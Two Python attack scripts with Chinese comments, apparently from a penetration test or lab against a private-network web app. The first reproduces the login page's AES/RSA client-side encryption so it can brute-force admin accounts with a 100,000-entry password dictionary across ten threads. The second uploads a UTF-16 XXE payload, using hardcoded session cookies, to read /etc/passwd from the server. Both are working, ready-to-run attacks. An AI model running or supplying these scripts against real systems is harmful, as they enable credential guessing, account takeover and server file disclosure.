import json
import base64
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

# 和前端一致的 RSA 公钥
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""

# 目标地址：根据实际情况修改（本地/远程）
TARGET_URL = "http://192.168.33.22:8080/api/login.php"

def encrypt_payload(username: str, password: str):
    """
    按 login.js 的逻辑加密：
    - 随机 AES-128-CBC 密钥和 IV
    - 加密 JSON 凭据
    - AES 密钥与 IV 先各自 Base64，再用 RSA 公钥加密，并再 Base64
    """
    # 1. 生成随机 AES key 和 IV（16 字节 = 128 bit）
    aes_key = get_random_bytes(16)
    iv = get_random_bytes(16)

    # 2. 构造凭据 JSON 并 AES-128-CBC + PKCS7 加密
    credentials = json.dumps({
        "username": username,
        "password": password
    }).encode("utf-8")

    cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
    ciphertext = cipher_aes.encrypt(pad(credentials, AES.block_size))

    # 前端：encrypted.ciphertext.toString(CryptoJS.enc.Base64)
    encryptedData = base64.b64encode(ciphertext).decode("utf-8")

    # 3. AES key / IV 先各自 Base64，再用 RSA 公钥加密，然后再 Base64 输出
    aes_key_b64 = base64.b64encode(aes_key).decode("utf-8")
    iv_b64 = base64.b64encode(iv).decode("utf-8")

    rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
    cipher_rsa = PKCS1_v1_5.new(rsa_key)

    encryptedKey_bytes = cipher_rsa.encrypt(aes_key_b64.encode("utf-8"))
    encryptedIv_bytes = cipher_rsa.encrypt(iv_b64.encode("utf-8"))

    encryptedKey = base64.b64encode(encryptedKey_bytes).decode("utf-8")
    encryptedIv = base64.b64encode(encryptedIv_bytes).decode("utf-8")

    return {
        "encryptedData": encryptedData,
        "encryptedKey": encryptedKey,
        "encryptedIv": encryptedIv,
    }

def try_login(username: str, password: str):
    payload = encrypt_payload(username, password)

    headers = {
        "Content-Type": "application/json",
    }

    resp = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload), timeout=10)
    try:
        data = resp.json()
    except Exception:
        print(f"[!] {username}:{password} -> 非 JSON 响应，HTTP {resp.status_code}")
        return False, None

    success = bool(data.get("success"))
    return success, data

def load_list(path: str):
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        return [line.strip() for line in f if line.strip()]


# 多线程相关的全局状态
found_event = threading.Event()
found_result = {
    "username": None,
    "password": None,
    "data": None,
}
result_lock = threading.Lock()


def worker(username: str, password: str):
    """线程工作函数：尝试一次登录，如果成功则记录结果并发出事件。"""
    if found_event.is_set():
        return

    print(f"[*] 尝试 {username}:{password}")
    try:
        ok, data = try_login(username, password)
    except Exception as e:
        print(f"[!] 请求错误 {username}:{password} -> {e}")
        return

    if ok:
        with result_lock:
            if not found_event.is_set():
                found_result["username"] = username
                found_result["password"] = password
                found_result["data"] = data
                found_event.set()


def main():
    # 根据需要修改字典文件路径
    user_dict_path = "/Users/xufengzhi/Tools/security/字典-模糊测试/fuzzing/Web-Fuzzing-Box/Brute/Username/Top20_Admin_Username.txt"
    pass_dict_path = "/Users/xufengzhi/Tools/security/字典-模糊测试/fuzzing/Web-Fuzzing-Box/Brute/Top_Password/Top100000.txt"

    usernames = load_list(user_dict_path)
    passwords = load_list(pass_dict_path)

    print(f"[+] 用户名数量: {len(usernames)}")
    print(f"[+] 密码数量: {len(passwords)}")
    print(f"[+] 共尝试组合: {len(usernames) * len(passwords)}")

    # 线程数量可根据链路和目标承受能力调整
    max_workers = 10
    print(f"[+] 使用线程数: {max_workers}")

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for u in usernames:
            if found_event.is_set():
                break
            for p in passwords:
                if found_event.is_set():
                    break
                executor.submit(worker, u, p)

        # 等待已提交任务执行完毕（不能取消已在队列中的任务）
        executor.shutdown(wait=True, cancel_futures=False)

    if found_event.is_set():
        print("=" * 60)
        print(f"[+] 找到有效账号: {found_result['username']}:{found_result['password']}")
        print(f"[+] 服务端返回数据: {found_result['data']}")
        print("=" * 60)
    else:
        print("[-] 字典中未找到有效组合。")

if __name__ == "__main__":
    main()

import requests

url = "http://192.168.33.22:8080/api/import.php"
cookies = {
    "PHPSESSID": "2hal23fa98h2ag70hahik64t8d",
    "session_token": "5399a7f7933378e6cfafb2942e9f134740469607659fb638328af3e638217f51",
}

xml_text = """<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
"""

xml_bytes = xml_text.encode("utf-16")

files = {
    "xmlFile": (
        "Classic XXE - etc passwd.xml",
        xml_bytes,
        "text/xml; charset=utf-16"
    )
}

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) "
                  "Chrome/136.0.0.0 Safari/537.36",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Origin": "http://192.168.33.22:8080",
    "Referer": "http://192.168.33.22:8080/dashboard.html",
}

r = requests.post(url, headers=headers, cookies=cookies, files=files)
# print(files)
print(r.status_code, r.text)